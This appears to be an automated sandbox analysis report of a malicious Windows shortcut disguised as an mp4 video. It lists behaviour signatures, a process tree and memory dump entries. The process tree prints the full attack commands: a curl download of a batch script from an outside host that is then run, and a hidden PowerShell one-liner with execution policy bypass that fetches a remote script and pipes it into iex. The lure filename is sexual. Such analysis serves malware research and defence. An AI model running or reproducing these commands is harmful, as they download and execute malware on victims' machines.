Analysis
- max time kernel
149s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
26/06/2026, 04:21
General
- Target PACK8/teenreversecowgirlboyf.mp4.lnk
- Size 697B
- Sample260626-eytfaagy4y
- SHA256 1c7386333c0eea8eedc4aa758f57c1b20cb1832cc3193cb8b26fe5e9865f7007
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 24 IoCs
- Suspicious use of SendNotifyMessage 7 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenreversecowgirlboyf.mp4.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenreversecowgirlboyf.mp4)&(curl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://nyx8.net 106)2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenreversecowgirlboyf.mp4"3⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\curl.execurl.exe https://nyx8.net/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://nyx8.net" "106"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" https://nyx8.net/rAU.ps14⤵
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_f2xi0by4.yqu.ps1
a.cmd
memory/3136-45-0x00007FFDF99E0000-0x00007FFDF9A05000-memory.dmp
memory/3136-50-0x00007FFDE9EC0000-0x00007FFDEA105000-memory.dmp
memory/3136-20-0x00007FF6CF120000-0x00007FF6CF218000-memory.dmp
memory/3136-26-0x00007FFE00930000-0x00007FFE0095B000-memory.dmp
memory/3136-25-0x00007FFE02680000-0x00007FFE026A2000-memory.dmp
memory/3136-24-0x00007FFE048C0000-0x00007FFE048D9000-memory.dmp
memory/3136-23-0x00007FFE06D20000-0x00007FFE06D31000-memory.dmp
memory/3136-22-0x00007FFDF33E0000-0x00007FFDF3696000-memory.dmp
memory/3136-29-0x00007FFE006A0000-0x00007FFE006B1000-memory.dmp
memory/3136-49-0x000002C46F420000-0x000002C46F626000-memory.dmp
memory/3136-27-0x00007FFDF2E60000-0x00007FFDF31F0000-memory.dmp
memory/3136-30-0x00007FFDF2D80000-0x00007FFDF2E52000-memory.dmp
memory/3136-32-0x00007FFDF29F0000-0x00007FFDF2AD8000-memory.dmp
memory/3136-31-0x00007FFDF2AE0000-0x00007FFDF2D76000-memory.dmp
memory/3136-33-0x00007FFDF2900000-0x00007FFDF29E3000-memory.dmp
memory/3136-34-0x00007FFE001B0000-0x00007FFE001F1000-memory.dmp
memory/3136-40-0x00007FFDFFFA0000-0x00007FFDFFFB1000-memory.dmp
memory/3136-39-0x00007FFE00370000-0x00007FFE0038A000-memory.dmp
memory/3136-21-0x00007FFE04950000-0x00007FFE04984000-memory.dmp
memory/3136-208-0x00007FFDF33E0000-0x00007FFDF3696000-memory.dmp
memory/3136-28-0x00007FFE00910000-0x00007FFE00924000-memory.dmp
memory/3136-48-0x00007FFDF99A0000-0x00007FFDF99B2000-memory.dmp
memory/3136-47-0x00007FFDF99C0000-0x00007FFDF99DB000-memory.dmp
memory/3136-46-0x00007FFDF25A0000-0x00007FFDF264B000-memory.dmp
memory/3136-44-0x00007FFDFFA40000-0x00007FFDFFA8F000-memory.dmp
memory/3136-43-0x00007FFDF2650000-0x00007FFDF26E8000-memory.dmp
memory/3136-42-0x00007FFDF26F0000-0x00007FFDF28FB000-memory.dmp
memory/3136-38-0x00007FFDFFFC0000-0x00007FFDFFFED000-memory.dmp
memory/3136-37-0x00007FFDFFFF0000-0x00007FFE00016000-memory.dmp
memory/3136-36-0x00007FFE00630000-0x00007FFE00648000-memory.dmp
memory/3136-35-0x00007FFE00670000-0x00007FFE0069F000-memory.dmp
memory/3136-41-0x00007FFDFFE00000-0x00007FFDFFE11000-memory.dmp
memory/3136-53-0x00007FFDF33E0000-0x00007FFDF3696000-memory.dmp
memory/3136-84-0x00007FFDF33E0000-0x00007FFDF3696000-memory.dmp
memory/3136-115-0x00007FFDF33E0000-0x00007FFDF3696000-memory.dmp
memory/3136-146-0x00007FFDF33E0000-0x00007FFDF3696000-memory.dmp
memory/3136-177-0x00007FFDF33E0000-0x00007FFDF3696000-memory.dmp
memory/4112-6-0x000001FFCA090000-0x000001FFCA0B2000-memory.dmp